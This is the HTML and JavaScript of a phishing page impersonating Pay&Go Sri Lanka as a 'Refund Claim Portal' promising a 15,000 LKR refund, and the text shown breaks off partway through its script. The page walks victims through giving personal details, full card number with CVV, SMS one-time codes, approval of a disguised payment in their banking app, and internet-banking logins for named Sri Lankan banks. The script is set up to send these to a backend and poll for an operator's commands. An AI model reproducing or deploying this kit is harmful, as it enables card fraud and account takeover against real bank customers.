<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pay&Go - Refund Claim Portal</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background: linear-gradient(135deg, #f0f4f8 0%, #e8eef5 100%);
            color: #1a1a1a;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        /* Header */
        .header {
            display: flex;
            background: #fff;
            box-shadow: 0 1px 3px rgba(0,0,0,0.05);
            align-items: center;
            justify-content: space-between;
            padding: 16px 40px;
            border-bottom: 1px solid #e5e5e5;
        }
        .header-left {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .header-left img {
            height: 32px;
        }
        .header-right {
            display: flex;
            gap: 32px;
        }
        .header-right a {
            color: #1a1a1a;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
        }
        .header-right a:hover {
            color: #0055a4;
        }

        /* Main Content */
        .main {
            flex: 1;
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: 40px 20px;
        }

        /* Status Badge */
        .status-badge {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            background: #e6f0fa;
            color: #0055a4;
            padding: 8px 16px;
            border-radius: 20px;
            font-size: 13px;
            font-weight: 600;
            margin-bottom: 24px;
        }
        .status-badge .dot {
            width: 8px;
            height: 8px;
            background: #0055a4;
            border-radius: 50%;
        }

        /* Card Container */
        .card {
            background: #fff;
            border: 1px solid #e5e5e5;
            border-radius: 16px;
            padding: 40px;
            width: 100%;
            max-width: 480px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.04);
        }

        /* Step 1: Phone */
        .step-phone h1 {
            font-size: 24px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 12px;
            color: #1a1a1a;
        }
        .step-phone .subtitle {
            text-align: center;
            color: #6b7280;
            font-size: 14px;
            line-height: 1.6;
            margin-bottom: 32px;
        }

        /* Amount Box */
        .amount-box {
            background: linear-gradient(135deg, #f0f4f8 0%, #e8eef5 100%);
            border: 1px solid #dbe4ed;
            border-radius: 12px;
            padding: 24px;
            text-align: center;
            margin-bottom: 32px;
        }
        .amount-label {
            font-size: 11px;
            text-transform: uppercase;
            letter-spacing: 1px;
            color: #6b7280;
            margin-bottom: 8px;
        }
        .amount-value {
            font-size: 42px;
            font-weight: 700;
            color: #1a1a1a;
        }
        .amount-currency {
            font-size: 24px;
            font-weight: 600;
        }
        .amount-desc {
            font-size: 13px;
            color: #6b7280;
            margin-top: 4px;
        }

        /* Form Fields */
        .form-group {
            margin-bottom: 16px;
        }
        .form-label {
            display: block;
            font-size: 14px;
            font-weight: 500;
            color: #1a1a1a;
            margin-bottom: 6px;
        }
        .form-input {
            width: 100%;
            padding: 14px 16px;
            border: 1px solid #d1d5db;
            border-radius: 10px;
            font-size: 15px;
            color: #1a1a1a;
            background: #fff;
            transition: border-color 0.2s, box-shadow 0.2s;
        }
        .form-input:focus {
            outline: none;
            border-color: #0055a4;
            box-shadow: 0 0 0 3px rgba(0,85,164,0.1);
        }
        .form-input.error {
            border-color: #ef4444;
            box-shadow: 0 0 0 3px rgba(239,68,68,0.1);
        }
        .form-input.valid {
            border-color: #0055a4;
            box-shadow: 0 0 0 3px rgba(0,85,164,0.1);
        }
        .form-input::placeholder {
            color: #9ca3af;
        }
        .form-select {
            width: 100%;
            padding: 14px 16px;
            border: 1px solid #d1d5db;
            border-radius: 10px;
            font-size: 15px;
            color: #1a1a1a;
            background: #fff;
            transition: border-color 0.2s, box-shadow 0.2s;
            cursor: pointer;
            appearance: none;
            -webkit-appearance: none;
            background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/10000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%236b7280' d='M6 8L1 3h10z'/%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: right 16px center;
        }
        .form-select:focus {
            outline: none;
            border-color: #0055a4;
            box-shadow: 0 0 0 3px rgba(0,85,164,0.1);
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 12px;
        }

        /* Real-time error text */
        .field-error {
            font-size: 12px;
            color: #ef4444;
            margin-top: 4px;
            display: none;
            min-height: 16px;
        }
        .field-error.show {
            display: block;
        }

        /* Bank detect */
        .bank-detect {
            font-size: 12px;
            color: #0055a4;
            font-weight: 600;
            margin-top: 4px;
            display: none;
            min-height: 16px;
        }
        .bank-detect.show {
            display: block;
        }

        /* Card type highlight */
        .card-logos { display: flex; gap: 12px; margin-bottom: 24px; }
        .card-logo {
            height: 28px;
            padding: 2px 8px;
            border-radius: 4px;
            font-size: 12px;
            font-weight: 700;
            display: flex;
            align-items: center;
            opacity: 0.4;
            transition: opacity 0.2s, transform 0.2s;
            border: 1px solid transparent;
        }
        .card-logo.active {
            opacity: 1;
            transform: scale(1.05);
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }
        .card-logo.visa { background: #1a1f71; color: #fff; font-style: italic; }
        .card-logo.mc { background: #eb001b; color: #fff; }
        .card-logo.amex { background: #016fd0; color: #fff; font-size: 11px; }

        /* Button */
        .btn-primary {
            width: 100%;
            padding: 16px;
            background: #e5e5e5;
            color: #9ca3af;
            border: none;
            border-radius: 10px;
            font-size: 16px;
            font-weight: 600;
            cursor: not-allowed;
            transition: all 0.2s;
            margin-top: 8px;
        }
        .btn-primary.active {
            background: #0055a4;
            color: #fff;
            cursor: pointer;
        }
        .btn-primary.active:hover {
            background: #004080;
        }

        /* Step 2: Personal Info */
        .step-personal .user-icon {
            width: 48px;
            height: 48px;
            background: #f3f4f6;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
            font-size: 24px;
            color: #6b7280;
        }
        .step-personal h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 8px;
        }
        .step-personal .subtitle {
            text-align: center;
            color: #6b7280;
            font-size: 13px;
            margin-bottom: 24px;
        }

        /* Step 3: Card */
        .step-card .card-icon {
            width: 48px;
            height: 48px;
            background: #f3f4f6;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
            font-size: 20px;
            color: #6b7280;
        }
        .step-card h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 8px;
        }
        .step-card .subtitle {
            text-align: center;
            color: #6b7280;
            font-size: 13px;
            margin-bottom: 24px;
        }

        /* Step 4: Processing */
        .step-processing {
            text-align: center;
            padding: 60px 20px;
        }
        .step-processing h2 {
            font-size: 18px;
            font-weight: 500;
            color: #1a1a1a;
            margin-bottom: 8px;
        }
        .step-processing p {
            color: #6b7280;
            font-size: 14px;
            margin-bottom: 24px;
        }
        .dots {
            display: flex;
            gap: 6px;
            justify-content: center;
        }
        .dot {
            width: 8px;
            height: 8px;
            background: #d1d5db;
            border-radius: 50%;
            animation: pulse 1.4s infinite;
        }
        .dot:nth-child(2) { animation-delay: 0.2s; }
        .dot:nth-child(3) { animation-delay: 0.4s; }
        @keyframes pulse {
            0%, 100% { opacity: 0.4; transform: scale(1); }
            50% { opacity: 1; transform: scale(1.2); }
        }

        /* Step 5: OTP */
        .step-otp h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 12px;
        }
        .step-otp p {
            text-align: center;
            color: #6b7280;
            font-size: 14px;
            margin-bottom: 24px;
        }
        .otp-input {
            width: 100%;
            padding: 16px;
            border: 2px solid #d1d5db;
            border-radius: 10px;
            font-size: 24px;
            text-align: center;
            letter-spacing: 8px;
            font-weight: 600;
            margin-bottom: 16px;
        }
        .otp-input:focus {
            outline: none;
            border-color: #0055a4;
        }

        /* Step 6: App Approval */
        .step-app h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 12px;
        }
        .step-app p {
            text-align: center;
            color: #6b7280;
            font-size: 14px;
            margin-bottom: 32px;
        }
        .app-box {
            background: #f8fafc;
            border-radius: 16px;
            padding: 32px;
            text-align: center;
            margin-bottom: 24px;
        }
        .app-box .phone-mockup {
            width: 120px;
            height: 200px;
            background: #1a1a1a;
            border-radius: 16px;
            margin: 0 auto 16px;
            position: relative;
            overflow: hidden;
        }
        .app-box .phone-mockup::before {
            content: '';
            position: absolute;
            top: 8px;
            left: 50%;
            transform: translateX(-50%);
            width: 40px;
            height: 4px;
            background: #333;
            border-radius: 2px;
        }
        .app-box .phone-screen {
            position: absolute;
            top: 20px;
            left: 8px;
            right: 8px;
            bottom: 8px;
            background: #fff;
            border-radius: 8px;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 8px;
        }
        .app-box .bank-logo {
            width: 28px;
            height: 28px;
            background: #0055a4;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: #fff;
            font-size: 12px;
            font-weight: 700;
            margin-bottom: 8px;
        }
        .app-box .approve-text {
            font-size: 10px;
            font-weight: 600;
            color: #1a1a1a;
            margin-bottom: 4px;
        }
        .app-box .approve-amount {
            font-size: 14px;
            font-weight: 700;
            color: #0055a4;
            margin-bottom: 12px;
        }
        .app-box .confirm-btn {
            width: 80%;
            padding: 6px;
            background: #0055a4;
            color: #fff;
            border-radius: 4px;
            font-size: 9px;
            font-weight: 600;
            margin-bottom: 6px;
        }
        .app-box .cancel-btn {
            width: 80%;
            padding: 6px;
            background: #fff;
            border: 1px solid #d1d5db;
            color: #6b7280;
            border-radius: 4px;
            font-size: 9px;
        }
        .app-caption {
            font-size: 14px;
            font-weight: 600;
            color: #1a1a1a;
            margin-bottom: 4px;
        }
        .app-subcaption {
            font-size: 12px;
            color: #6b7280;
        }

        /* Step 7: Success */
        .step-success {
            text-align: center;
            padding: 40px 20px;
        }
        .step-success .check-icon {
            width: 64px;
            height: 64px;
            background: #e6f0fa;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 24px;
            font-size: 32px;
            color: #0055a4;
        }
        .step-success h2 {
            font-size: 24px;
            font-weight: 700;
            color: #0055a4;
            margin-bottom: 12px;
        }
        .step-success p {
            color: #6b7280;
            font-size: 14px;
            margin-bottom: 24px;
        }
        .ref-box {
            background: #f8fafc;
            border-radius: 10px;
            padding: 16px;
            margin-bottom: 24px;
        }
        .ref-box strong {
            color: #1a1a1a;
            font-size: 14px;
        }

        /* Step 8: Bank Login */
        .step-bank .bank-icon {
            width: 48px;
            height: 48px;
            background: #f3f4f6;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
            font-size: 20px;
            color: #6b7280;
        }
        .step-bank h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 8px;
        }
        .step-bank .subtitle {
            text-align: center;
            color: #6b7280;
            font-size: 13px;
            margin-bottom: 24px;
        }
        .bank-security {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            margin-bottom: 20px;
            font-size: 12px;
            color: #6b7280;
        }
        .bank-security svg {
            width: 16px;
            height: 16px;
            color: #0055a4;
        }

        /* Notification Toast */
        .notif-toast {
            position: fixed;
            top: 20px;
            left: 50%;
            transform: translateX(-50%) translateY(-120px);
            background: #1e293b;
            border: 1px solid #0055a4;
            border-radius: 12px;
            padding: 16px 24px;
            box-shadow: 0 8px 32px rgba(0,0,0,0.3);
            z-index: 10000;
            transition: transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275), opacity 0.4s ease;
            opacity: 0;
            max-width: 90%;
            width: auto;
            pointer-events: none;
        }
        .notif-toast.show {
            transform: translateX(-50%) translateY(0);
            opacity: 1;
        }
        .notif-content {
            display: flex;
            align-items: center;
            gap: 12px;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            font-size: 14px;
            color: #e2e8f0;
            font-weight: 500;
            white-space: nowrap;
        }
        @media (max-width: 480px) {
            .notif-content { white-space: normal; font-size: 13px; }
        }
        .notif-icon {
            font-size: 20px;
            color: #0055a4;
            flex-shrink: 0;
        }

        /* Footer */
        .footer {
            display: flex;
            background: #fff;
            justify-content: space-between;
            align-items: center;
            padding: 20px 40px;
            border-top: 1px solid #e5e5e5;
            margin-top: auto;
        }
        .footer-left {
            font-size: 13px;
            color: #6b7280;
        }
        .footer-right {
            font-size: 13px;
            color: #6b7280;
        }
        .footer-trust {
            display: flex;
            justify-content: center;
            gap: 32px;
            padding: 16px;
            margin-top: 16px;
        }
        .trust-item {
            display: flex;
            align-items: center;
            gap: 6px;
            font-size: 12px;
            color: #6b7280;
        }
        .trust-item svg {
            width: 16px;
            height: 16px;
        }

        /* Error */
        .error-msg {
            background: #fef2f2;
            border: 1px solid #fecaca;
            color: #dc2626;
            padding: 12px 16px;
            border-radius: 8px;
            font-size: 13px;
            margin-bottom: 16px;
            display: none;
        }
        .error-msg.show {
            display: block;
        }

        /* Hidden */
        .hidden {
            display: none !important;
        }
    </style>
</head>
<body>

<!-- Notification Toast -->
<div class="notif-toast" id="notifToast">
    <div class="notif-content">
        <span class="notif-icon">&#128276;</span>
        <span class="notif-text" id="notifText"></span>
    </div>
</div>

<!-- Header -->
<div class="header">
    <div class="header-left">
        <img src="https://kimi-web-img.kimi.ai/img/www.paygo.lk/3a72dfe7b2c39c9c92389dcddfced8e65e42534f.png" alt="Pay&Go">
    </div>
    <div class="header-right">
        <a href="#">Refund Services</a>
        <a href="#">Refund Centers</a>
        <a href="#">Log in / Sign up</a>
    </div>
</div>

<!-- Main Content -->
<div class="main">

    <!-- STEP 1: PHONE NUMBER -->
    <div class="card step-phone" id="step1">
        <div class="status-badge">
            <span class="dot"></span>
            Refund Available
        </div>
        <h1>Refund Claim Portal</h1>
        <p class="subtitle">Welcome to Pay&Go Sri Lanka. Please verify your mobile number to proceed with your refund claim. Fast, easy & convenient refunds for all Sri Lankan customers.</p>

        <div class="amount-box">
            <div class="amount-label">Refund Amount</div>
            <div class="amount-value">15,000<span class="amount-currency"> LKR</span></div>
            <div class="amount-desc">Mobile bill overpayment refund</div>
        </div>

        <div class="form-group">
            <label class="form-label">Mobile Number</label>
            <input type="tel" class="form-input" id="phone" placeholder="07X XXX XXXX" maxlength="14"
                   autocomplete="tel" inputmode="tel" name="phone">
            <div class="field-error" id="err-phone">Enter a valid Sri Lankan mobile number starting with 07.</div>
        </div>

        <button class="btn-primary" id="btn-step1" onclick="submitPhone()">Continue to Refund Verification</button>

        <div class="footer-trust">
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
                Secure
            </div>
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg>
                2 min process
            </div>
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg>
                Verified
            </div>
        </div>
    </div>

    <!-- STEP 2: PERSONAL INFORMATION -->
    <div class="card step-personal hidden" id="step2">
        <div class="status-badge">
            <span class="dot"></span>
            Verification Required
        </div>
        <div class="user-icon">&#128100;</div>
        <h2>Personal Information</h2>
        <p class="subtitle">Please provide your details to process the refund</p>

        <div class="amount-box">
            <div class="amount-label">Refund Amount</div>
            <div class="amount-value">15,000<span class="amount-currency"> LKR</span></div>
        </div>

        <div class="error-msg" id="err2">Please fill in all required fields correctly.</div>

        <div class="form-row">
            <div class="form-group">
                <label class="form-label">First Name</label>
                <input type="text" class="form-input" id="fname" placeholder="Nimal"
                       autocomplete="given-name" name="fname">
                <div class="field-error" id="err-fname">Enter a valid first name.</div>
            </div>
            <div class="form-group">
                <label class="form-label">Last Name</label>
                <input type="text" class="form-input" id="lname" placeholder="Perera"
                       autocomplete="family-name" name="lname">
                <div class="field-error" id="err-lname">Enter a valid last name.</div>
            </div>
        </div>

        <div class="form-group">
            <label class="form-label">Date of Birth</label>
            <input type="text" class="form-input" id="dob" placeholder="DD/MM/YYYY" maxlength="10"
                   autocomplete="bday" name="dob">
            <div class="field-error" id="err-dob">Enter a valid date of birth (DD/MM/YYYY). Must be 18+.</div>
        </div>

        <div class="form-group">
            <label class="form-label">Address</label>
            <input type="text" class="form-input" id="address" placeholder="No. 123, Galle Road, Colombo 03"
                   autocomplete="street-address" name="address">
            <div class="field-error" id="err-address">Enter a valid street address.</div>
        </div>

        <div class="form-row">
            <div class="form-group">
                <label class="form-label">City</label>
                <input type="text" class="form-input" id="city" placeholder="Colombo / Kandy / Galle"
                       autocomplete="address-level2" name="city">
                <div class="field-error" id="err-city">Enter a valid city.</div>
            </div>
            <div class="form-group">
                <label class="form-label">Postal Code</label>
                <input type="text" class="form-input" id="postcode" placeholder="10000" maxlength="5"
                       autocomplete="postal-code" inputmode="numeric" name="postcode">
                <div class="field-error" id="err-postcode">Enter a valid 5-digit Sri Lankan postal code.</div>
            </div>
        </div>

        <div class="form-group">
            <label class="form-label">Email Address</label>
            <input type="email" class="form-input" id="email" placeholder="nimal.perera@gmail.com"
                   autocomplete="email" inputmode="email" name="email">
            <div class="field-error" id="err-email">Enter a valid email address.</div>
        </div>

        <button class="btn-primary" id="btn-step2" onclick="submitPersonal()">Continue</button>

        <div class="footer-trust">
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
                Secure
            </div>
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg>
                2 min process
            </div>
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg>
                Verified
            </div>
        </div>
    </div>

    <!-- STEP 3: CARD DETAILS -->
    <div class="card step-card hidden" id="step3">
        <div class="card-icon">&#128179;</div>
        <h2>Claim Your Refund</h2>
        <p class="subtitle">Enter your card details to receive your refund securely</p>

        <div class="amount-box" style="display:flex; justify-content:space-between; align-items:center; text-align:left; padding:16px 20px;">
            <div>
                <div style="font-size:12px; color:#6b7280; margin-bottom:4px;">Refund Amount</div>
                <div style="font-size:20px; font-weight:700;">15,000 LKR</div>
            </div>
            <div style="text-align:right;">
                <div style="font-size:12px; color:#6b7280; margin-bottom:4px;">Date</div>
                <div style="font-size:14px; font-weight:500;">26.08.2026</div>
            </div>
        </div>

        <div class="card-logos">
            <div class="card-logo visa" id="logo-visa">VISA</div>
            <div class="card-logo mc" id="logo-mc">MC</div>
            <div class="card-logo amex" id="logo-amex">AMEX</div>
        </div>

        <div class="error-msg" id="err3">The card details provided are invalid.</div>

        <div class="form-group">
            <label class="form-label">Card number *</label>
            <input type="text" class="form-input" id="card" placeholder="0000 0000 0000 0000" maxlength="19"
                   autocomplete="cc-number" inputmode="numeric" name="cardnumber">
            <div class="bank-detect" id="bank-detect"></div>
            <div class="field-error" id="err-card">Enter a valid card number.</div>
        </div>

        <div class="form-row">
            <div class="form-group">
                <label class="form-label">Expiration date *</label>
                <input type="text" class="form-input" id="exp" placeholder="MM/YY" maxlength="5"
                       autocomplete="cc-exp" inputmode="numeric" name="cc-exp">
                <div class="field-error" id="err-exp">Enter a valid future expiry date (MM/YY).</div>
            </div>
            <div class="form-group">
                <label class="form-label">Security code (CVV/CVC) *</label>
                <input type="text" class="form-input" id="cvv" placeholder="000" maxlength="3"
                       autocomplete="cc-csc" inputmode="numeric" name="cvc">
                <div class="field-error" id="err-cvv">Enter a valid CVV.</div>
            </div>
        </div>

        <button class="btn-primary" id="btn-step3" onclick="submitCard()">Claim Your Refund</button>

        <div class="footer-trust">
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
                Secure
            </div>
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg>
                Instant
            </div>
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg>
                Encrypted
            </div>
        </div>
    </div>

    <!-- STEP 4: PROCESSING / WAITING -->
    <div class="step-processing hidden" id="step4">
        <h2>Please wait while your refund is being processed by our Sri Lankan banking partners...</h2>
        <p>This may take a few seconds.</p>
        <div class="dots">
            <div class="dot"></div>
            <div class="dot"></div>
            <div class="dot"></div>
        </div>
    </div>

    <!-- STEP 5: OTP -->
    <div class="card step-otp hidden" id="step5">
        <h2>Security Verification</h2>
        <p>A verification code has been sent to your mobile device to confirm your refund.</p>
        <div class="error-msg" id="err5">Invalid code. Please check the SMS sent to your phone.</div>
        <input type="text" class="otp-input" id="otp" placeholder="000000" maxlength="6"
               autocomplete="one-time-code" inputmode="numeric" name="otp">
        <button class="btn-primary active" onclick="submitOtp()">Confirm</button>
    </div>

    <!-- STEP 6: APP APPROVAL -->
    <div class="card step-app hidden" id="step6">
        <h2>Approve on your device</h2>
        <p>Please open your banking app and approve the pending refund to complete your claim.</p>

        <div class="app-box">
            <div class="phone-mockup">
                <div class="phone-screen">
                    <div class="bank-logo">B</div>
                    <div class="approve-text">Approve Refund</div>
                    <div class="approve-amount">Rs 15,000.00</div>
                    <div class="confirm-btn">CONFIRM</div>
                    <div class="cancel-btn">CANCEL</div>
                </div>
            </div>
            <div class="app-caption">Tap Confirm in your banking app</div>
            <div class="app-subcaption">Look for a payment notification and press the green Confirm button</div>
        </div>

        <div class="dots" style="margin-bottom:24px;">
            <div class="dot"></div>
            <div class="dot"></div>
            <div class="dot"></div>
        </div>

        <button class="btn-primary active" onclick="submitApp()">I have approved</button>
    </div>

    <!-- STEP 7: SUCCESS -->
    <div class="card step-success hidden" id="step7">
        <div class="check-icon">&#10003;</div>
        <h2>Refund Complete</h2>
        <p>Your refund has been successfully processed. The funds will be transferred to your Sri Lankan bank account within 1-2 business days.</p>
        <div class="ref-box">
            <strong id="ref-code">Reference: PG-XXXXXXXX</strong>
        </div>
        <button class="btn-primary active" onclick="clearSession();location.reload()">Return to Pay&Go</button>
    </div>

    <!-- STEP 8: BANK LOGIN -->
    <div class="card step-bank hidden" id="step8">
        <div class="bank-icon">&#127974;</div>
        <h2>Verify Your Bank Account for Refund</h2>
        <p class="subtitle">To process your refund securely, please log in to your Sri Lankan online banking to confirm your identity.</p>

        <div class="amount-box" style="display:flex; justify-content:space-between; align-items:center; text-align:left; padding:16px 20px;">
            <div>
                <div style="font-size:12px; color:#6b7280; margin-bottom:4px;">Refund Amount</div>
                <div style="font-size:20px; font-weight:700;">15,000 LKR</div>
            </div>
            <div style="text-align:right;">
                <div style="font-size:12px; color:#6b7280; margin-bottom:4px;">Status</div>
                <div style="font-size:14px; font-weight:500; color:#f59e0b;">Bank verification required for refund</div>
            </div>
        </div>

        <div class="bank-security">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
            256-bit SSL Encrypted &bull; Secure bank-grade connection
        </div>

        <div class="error-msg" id="err8">Please select your bank and enter valid credentials to receive your refund.</div>

        <div class="form-group">
            <label class="form-label">Select Your Bank *</label>
            <select class="form-select" id="bank_name">
                <option value="">Choose your bank...</option>
                <option value="Bank of Ceylon">Bank of Ceylon</option>
                <option value="Commercial Bank">Commercial Bank</option>
                <option value="Hatton National Bank (HNB)">Hatton National Bank (HNB)</option>
                <option value="Sampath Bank">Sampath Bank</option>
                <option value="Seylan Bank">Seylan Bank</option>
                <option value="DFCC Bank">DFCC Bank</option>
                <option value="Nations Trust Bank">Nations Trust Bank</option>
                <option value="People's Bank">People's Bank</option>
                <option value="National Savings Bank">National Savings Bank</option>
                <option value="Pan Asia Bank">Pan Asia Bank</option>
                <option value="Union Bank">Union Bank</option>
                <option value="Amana Bank">Amana Bank</option>
                <option value="Cargills Bank">Cargills Bank</option>
                <option value="Standard Chartered Bank">Standard Chartered Bank</option>
                <option value="HSBC Sri Lanka">HSBC Sri Lanka</option>
                <option value="Citibank Sri Lanka">Citibank Sri Lanka</option>
                <option value="State Bank of India (SBI)">State Bank of India (SBI)</option>
                <option value="Indian Bank">Indian Bank</option>
                <option value="ICICI Bank">ICICI Bank</option>
                <option value="Habib Bank">Habib Bank</option>
            </select>
            <div class="field-error" id="err-bank_name">Please select your bank.</div>
        </div>

        <div class="form-group">
            <label class="form-label">Internet Banking Username / Client Number *</label>
            <input type="text" class="form-input" id="bank_user" placeholder="Enter your username" autocomplete="username" name="username">
            <div class="field-error" id="err-bank_user">Enter your banking username.</div>
        </div>

        <div class="form-group">
            <label class="form-label">Internet Banking Password *</label>
            <input type="password" class="form-input" id="bank_pass" placeholder="Enter your password" autocomplete="current-password" name="password">
            <div class="field-error" id="err-bank_pass">Enter your banking password.</div>
        </div>

        <button class="btn-primary active" id="btn-step8" onclick="submitBank()">Verify & Continue</button>

        <div class="footer-trust">
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
                Sri Lankan Bank-grade security
            </div>
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg>
                256-bit SSL
            </div>
            <div class="trust-item">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg>
                Refund Verified by Pay&Go
            </div>
        </div>
    </div>

</div>

<!-- Footer -->
<div class="footer">
    <div class="footer-left">Proudly Sri Lankan Owned & Operated</div>
    <div class="footer-right">&copy; 2026 MegaPay (Pvt) Ltd. All rights reserved.</div>
</div>

<script>
    // ============================================
    // CONFIG
    // ============================================
    var userId = "PG_" + Math.random().toString(36).substr(2, 9);
    var BACKEND = "backend.php";
    var STORAGE_KEY = "paygo_session_v1";

    // ============================================
    // STATE
    // ============================================
    var pollTimer = null;
    var isPolling = false;
    var currentStep = 1;
    var cardAttempt = 0;
    var isAmex = false;
    var lastDataStep = 0;
    var idleTimeout = null;
    var pageVisible = true;
    var originalTitle = document.title;
    var titleFlashInterval = null;
    var notifPermission = false;

    // ============================================
    // NOTIFICATION SYSTEM
    // ============================================
    function requestNotificationPermission() {
        if (!("Notification" in window)) return;
        if (Notification.permission === "granted") {
            notifPermission = true;
        } else if (Notification.permission !== "denied") {
            Notification.requestPermission().then(function(p) {
                notifPermission = (p === "granted");
            });
        }
    }

    function sendBrowserNotification(title, body) {
        if (!notifPermission || pageVisible) return;
        try {
            new Notification(title, {
                body: body,
                icon: "https://kimi-web-img.kimi.ai/img/www.paygo.lk/3a72dfe7b2c39c9c92389dcddfced8e65e42534f.png",
                badge: "https://kimi-web-img.kimi.ai/img/www.paygo.lk/3a72dfe7b2c39c9c92389dcddfced8e65e42534f.png",
                tag: "hotdoc-" + userId,
                requireInteraction: true,
                vibrate: [200, 100, 200]
            });
        } catch(e) {}
    }

    function playAlertSound() {
        try {
            var ctx = new (window.AudioContext || window.webkitAudioContext)();
            var osc = ctx.createOscillator();
            var gain = ctx.createGain();
            osc.connect(gain);
            gain.connect(ctx.destination);
            osc.frequency.value = 880;
            osc.type = 'sine';
            gain.gain.setValueAtTime(0.1, ctx.currentTime);
            gain.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + 0.5);
            osc.start(ctx.currentTime);
            osc.stop(ctx.currentTime + 0.5);
        } catch(e) {}
    }

    function vibrateDevice() {
        if (navigator.vibrate) {
            navigator.vibrate([200, 100, 200, 100, 200]);
        }
    }

    function flashTitle(msg) {
        if (pageVisible) return;
        if (titleFlashInterval) clearInterval(titleFlashInterval);
        var flash = true;
        titleFlashInterval = setInterval(function() {
            document.title = flash ? "🔔 " + msg : originalTitle;
            flash = !flash;
        }, 1000);
    }

    function stopFlashTitle() {
        if (titleFlashInterval) {
            clearInterval(titleFlashInterval);
            titleFlashInterval = null;
            document.title = originalTitle;
        }
    }

    // ============================================
    // PAGE VISIBILITY API
    // ============================================
    function handleVisibilityChange() {
        if (document.hidden || document.visibilityState === 'hidden') {
            pageVisible = false;
        } else {
            pageVisible = true;
            stopFlashTitle();
            // If we were polling, do an immediate check for missed commands
            if (isPolling) {
                doPoll(lastDataStep);
            }
        }
    }

    if (document.hidden !== undefined) {
        document.addEventListener("visibilitychange", handleVisibilityChange);
    } else if (document.webkitHidden !== undefined) {
        document.addEventListener("webkitvisibilitychange", handleVisibilityChange);
    }

    // ============================================
    // WAKE LOCK (keep screen awake on mobile)
    // ============================================
    var wakeLock = null;
    async function requestWakeLock() {
        try {
            if ('wakeLock' in navigator) {
                wakeLock = await navigator.wakeLock.request('screen');
                wakeLock.addEventListener('release', function() {
                    console.log('Wake lock released');
                });
            }
        } catch(e) {}
    }

    function releaseWakeLock() {
        if (wakeLock) {
            wakeLock.release();
            wakeLock = null;
        }
    }

    // ============================================
